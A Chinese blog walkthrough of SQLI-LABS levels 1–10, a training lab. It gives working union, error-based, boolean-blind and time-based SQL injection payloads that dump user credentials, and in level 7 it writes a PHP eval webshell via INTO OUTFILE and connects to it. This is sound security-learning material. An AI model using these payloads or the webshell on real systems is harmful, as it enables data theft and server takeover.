学习SQLI-LABS记录(1-10)

学习SQLI-LABS记录(1-10)

Less 1 GET-Error Based-Single Quotes-String

在网址后面输入?id=1可以看见网站会返回与id号对应的用户名和密码。
请添加图片描述
我们输入?id=1'可以发现回显不正常,可能存在sql字符注入。请添加图片描述现在我们要判断它的闭合方式是什么。因此我们可以在网址后面输入?id=1\
请添加图片描述
可以sql发现报错了:"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near “1\’ LIMIT 0,1’ at line 1”。
因为’\‘是转义符,它将1后面的单引号转义了。所以会报错,我们则可以利用这个报错来判断它的闭合方式。
所以由"1\’ LIMIT 0,1’ at line 1"我们知道它是'的闭合方式。

在这个注入点我们可以利用联合注入得到我们想要的数据。在联合注入前我们要先判断其列数。利用order by来判断。
可以发现输入:

?id=1' order by 3--+

请添加图片描述
再输入:

?id=1' order by 4--+

请添加图片描述
报错了,所以该表只有3列。

现在可以进行联合注入了,输入:

?id=-1' union select 1,2,3--+

请添加图片描述
发现注入点再2和3的位置。
爆库名:

?id=-1' union select 1,database(),3--+

请添加图片描述
爆security的所有表名:

?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = database()),3--+

请添加图片描述
爆users的所有字段名:

?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = "users"),3--+

请添加图片描述
爆users所有用户id,用户名和密码:

?id=-1' union select 1,2,group_concat(id,0x3a,username,0x3a,password,0x3C,0x68,0x72,0x2F,0x3E) from users--+

请添加图片描述

Less 2 GET-Error Based-Intiger Based

第二关和第一关基本一样,只是注入类型不一样。
输入?id=2-1
请添加图片描述
可以看到页面正常回显,因此可以判定是数值型注入。

爆库名:

?id=-1 union select 1,database(),3--+

爆security的所有表名:

?id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = database()),3--+

爆users的所有字段名:

?id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = "users"),3--+

爆users所有用户id,用户名和密码:

?id=-1 union select 1,2,group_concat(id,0x3a,username,0x3a,password,0x3C,0x68,0x72,0x2F,0x3E) from users--+

Less 3 GET-Error based-Single Quotes with twist-String

第三关和第一关基本一样,只是闭合方式不一样。
输入?id=1\
请添加图片描述
可以知道第三关的闭合方式是')

爆库名:

?id=-1') union select 1,database(),3--+

爆security的所有表名:

?id=-1') union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = database()),3--+

爆users的所有字段名:

?id=-1') union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = "users"),3--+

爆users所有用户id,用户名和密码:

?id=-1') union select 1,2,group_concat(id,0x3a,username,0x3a,password,0x3C,0x68,0x72,0x2F,0x3E) from users--+

Less 4 GET-Error Based-Double Quotes-String

第四关和第一关基本一样,只是闭合方式不一样。
输入?id=1\
请添加图片描述
可以知道第三关的闭合方式是")

爆库名:

?id=-1") union select 1,database(),3--+

爆security的所有表名:

?id=-1") union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = database()),3--+

爆users的所有字段名:

?id=-1") union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'users'),3--+

爆users所有用户id,用户名和密码:

?id=-1") union select 1,2,group_concat(id,0x3a,username,0x3a,password,0x3C,0x68,0x72,0x2F,0x3E) from users--+

Less 5 GET-Double Injection-Single Quotes-String

这一关终于变了,和前四关不一样了。
我们分别输入?id=0?id=1
请添加图片描述
请添加图片描述
当id存在是才会有回显,而id不存在时是没有回显的,而且它的回显只有"You are in…"。换句话说就是正确才有回显,错误没有回显。虽然不能利用联合注入去得到想要的数据,但是还可以利用布尔注入。
但是秋得妈蝶,当我们输入?id=1\
请添加图片描述
发现它仍然会报错!!!,我们就可以利用效率比较高的报错注入。
1、利用updatexml进行报错注入:
格式如下:

and updatexml(1, payload,1)

该语句对输出的字符长度也做了限制,其最长输出32位。

爆库名:

?id=-1' and (select updatexml(1,concat(0x7e,(select database()),0x7e),1))--+

请添加图片描述
爆security的表名:

?id=-1' and (select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()),0x7e),1))--+

请添加图片描述
爆users的所有字段名:

?id=-1' and (select updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name="users"),0x7e),1))--+

请添加图片描述
爆users用户id,用户名和密码:
因为语句对输出的字符长度做了限制,所以用户名和密码就只好一个一个地爆了。

?id=-1' and (select updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e),1))--+

请添加图片描述
2、利用ExtractValue()进行报错注入:
格式如下:

and extractvalue(1, payload)

同样该语句的长度也有限制,最长输出是32位。

爆库名:

?id=1' and extractvalue(1, concat(0x7e,(select database()),0x7e))--+

爆security的表名:

?id=1' and extractvalue(1, concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()),0x7e))--+

爆users的所有字段名:

?id=1' and extractvalue(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name="users"),0x7e))--+

爆users所有用户id,用户名和密码:
因为语句对输出的字符长度做了限制,所以用户名和密码就只好一个一个地爆了。

?id=1' and extractvalue(1, concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e))--+

3、利用floor()进行报错注入:
格式如下:

and (select 1 from (select count(*), concat((payload),floor(rand(0)*2))x from xxxx group by x)a)

xxxx一般是比较大的数据库名,比如information_schema.tables。
同样该语句的长度也有限制,最长输出是64位。

爆库名:

?id=-1' and (select 1 from (select count(*), concat((select database()),floor (rand(0)*2))x from information_schema.tables group by x)a)--+

爆security的表名:
因为字符限制用不了group_concat,所以表名就一个一个爆。

?id=-1' and (select 1 from (select count(*), concat((select table_name from information_schema.tables where table_schema = database() limit 1,1),floor (rand(0)*2))x from information_schema.tables group by x)a)--+

爆users的所有字段名:
因为字符限制用不了group_concat,所以列名就一个一个爆。

?id=-1' and (select 1 from (select count(*), concat((select column_name from information_schema.columns where table_schema = database() and table_name = "users" limit 1,1),floor (rand(0)*2))x from information_schema.tables group by x)a)--+

爆users所有用户id,用户名和密码:
因为字符限制用不了group_concat,所以用户名和密码就一个一个爆。

id=-1' and (select 1 from (select count(*), concat((select concat(username,0x3a,password) from users limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a)--+

Less 6 GET-Double Injection-Double Quotes-String

第六关和第五个基本一样,只是闭合方式不一样。
输入?id=1\
请添加图片描述
可以知道第三关的闭合方式是"
1、利用updatexml进行报错注入:
格式如下:

and updatexml(1, payload,1)

该语句对输出的字符长度也做了限制,其最长输出32位。

爆库名:

?id=-1" and (select updatexml(1,concat(0x7e,(select database()),0x7e),1))--+

爆security的表名:

?id=-1" and (select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()),0x7e),1))--+

爆users的所有字段名:

?id=-1" and (select updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name='users'),0x7e),1))--+

爆users用户id,用户名和密码:
因为语句对输出的字符长度做了限制,所以用户名和密码就只好一个一个地爆了。

?id=-1" and (select updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e),1))--+

2、利用ExtractValue()进行报错注入:
格式如下:

and extractvalue(1, payload)

同样该语句的长度也有限制,最长输出是32位。

爆库名:

?id=1" and extractvalue(1, concat(0x7e,(select database()),0x7e))--+

爆security的表名:

?id=1" and extractvalue(1, concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()),0x7e))--+

爆users的所有字段名:

?id=1" and extractvalue(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name='users'),0x7e))--+

爆users所有用户id,用户名和密码:
因为语句对输出的字符长度做了限制,所以用户名和密码就只好一个一个地爆了。

?id=1" and extractvalue(1, concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e))--+

3、利用floor()进行报错注入:
格式如下:

and (select 1 from (select count(*), concat((payload),floor(rand(0)*2))x from xxxx group by x)a)

xxxx一般是比较大的数据库名,比如information_schema.tables。
同样该语句的长度也有限制,最长输出是64位。

爆库名:

?id=-1" and (select 1 from (select count(*), concat((select database()),floor (rand(0)*2))x from information_schema.tables group by x)a)--+

爆security的表名:
因为字符限制用不了group_concat,所以表名就一个一个爆。

?id=-1" and (select 1 from (select count(*), concat((select table_name from information_schema.tables where table_schema = database() limit 1,1),floor (rand(0)*2))x from information_schema.tables group by x)a)--+

爆users的所有字段名:
因为字符限制用不了group_concat,所以列名就一个一个爆。

?id=-1" and (select 1 from (select count(*), concat((select column_name from information_schema.columns where table_schema = database() and table_name = 'users' limit 1,1),floor (rand(0)*2))x from information_schema.tables group by x)a)--+

爆users所有用户id,用户名和密码:
因为字符限制用不了group_concat,所以用户名和密码就一个一个爆。

?id=-1" and (select 1 from (select count(*), concat((select concat(username,0x3a,password) from users limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a)--+

Less 7 GET-Dump Into Outfile-String

这一关当我们输入?id=1时:请添加图片描述
页面提醒我们用使用outfile()。
我们先判断它的闭合方式,但是当我们输入?id=1\后,发现:请添加图片描述
页面只会提醒你有错误,而不会爆出具体错误。
我们就可以尝试多种常见的闭合方式,如:?id=1'?id=1")?id=1'))等等。

输入?id=1'))--+后:
请添加图片描述
页面出现正常回显,可以知道其闭合方式为双引号。
接下来就使用outfile()向服务器写入我们想要的文件。
比如写入一句话木马:

?id=-1'))  union select "<?php", "@eval($_POST["attack"]);","?>" into outfile "E:\\phpStudy\\WWW\\TrojanHorse.php"//这个路径是我靶机的网页根目录--+

请添加图片描述
再进入我们的靶机里,可以看见已经在服务器写入了我们的一句话木马。
我们尝试用蚁剑去连接靶机。密码是$_POST["attack"]引号里的字符串,可以设置成任何内容。
请添加图片描述
请添加图片描述
发现可以连接靶机,轻松拿下。

Less 8 GET-Blind-Boollan Based-Single Quotes

这一关当我们分别输入?id=0?id=1时:
请添加图片描述
请添加图片描述
和第五第六关一样,正确有回显,错误则没有。
但是输入?id=1\
请添加图片描述
页面没有报错信息了,报错信息被屏蔽掉了。
所以我们还是可以利用它的特性用布尔注入去得到我们想要的信息。
因为不会报错了,所以我们需要用其他方式判断其闭合方式。
我们可以分别尝试在网址后面输入:

?id=-1 or 1=1--+
?id=-1' or 1=1--+
?id=-1" or 1=1--+
?id=-1') or 1=1--+
?id=-1") or 1=1--+

在输入?id=-1' or 1=1--+后:
请添加图片描述
页面有"You are in…"的回显,可以判断其为单引号闭合。
可以利用以下函数对字符进行判断。

Length()//函数 返回字符串的长度
Substr()//截取字符串
Ascii()//返回字符的ascii码

如输入:

?id=1' and length(database())=8--+

请添加图片描述
可以知道该数据库的长度是8。
输入:

?id=1' and ascii(substr(database(),1,1))=115--+

请添加图片描述
可以知道该数据库名字的第一个字符的的ascii码是115,即’s’。

Less 9 GET-Blind-Time Based-Single Quotes

这一关在网址后分别输入:?id=0,?id=1?id=1\
请添加图片描述
请添加图片描述
请添加图片描述
发现无论对错页面都有"You are in…"的回显,而且页面即使有错也不会显示错误信息。
所以我们可以尝试延时注入。
同样我们要经过尝试去寻找它的闭合方式.
我们可以分别尝试在网址后面输入:

?id=1 and if (1=1,sleep(3),1)--+
?id=1' and if (1=1,sleep(3),1)--+
?id=1" and if (1=1,sleep(3),1)--+
?id=1') and if (1=1,sleep(3),1)--+
?id=1") and if (1=1,sleep(3),1)--+

在正常情况下,页面响应时间:
请添加图片描述
而输入?id=1' and if (1=1,sleep(3),1)--+后:
请添加图片描述
页面响应时间变久了,可以判断它是单引号闭合。
可以利用以下函数和if()函数结合对字符进行判断。

Length()//函数 返回字符串的长度
Substr()//截取字符串
Ascii()//返回字符的ascii码

如输入:

?id=1' and if(length(database())=8,sleep(3),1)--+

请添加图片描述
其页面响应时间远远大于正常响应时间,可以知道该数据库名字长度为8。
输入:

?id=1' and if(ascii(substr(database(),1,1))=115,sleep(3),1)--+

请添加图片描述其页面响应时间远远大于正常响应时间,可以知道该数据库名字的第一个字符的的ascii码是115,即’s’。

Less 10 GET-Blind-Time Based-Double Quotes

第十关和第九关基本一样,只是闭合方式不一样。
当在网址后输入?id=1" and if (1=1,sleep(3),1)--+后:
请添加图片描述
其页面响应时间远远大于正常响应时间,可以其为双引号闭合方式。
同第九关一样,可以用:

?id=1" and if(length(database())=8,sleep(3),1)--+

知道该数据库名字长度为8。

?id=1" and if(ascii(substr(database(),1,1))=115,sleep(3),1)--+

可以知道该数据库名字的第一个字符的的ascii码是115,即’s’。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值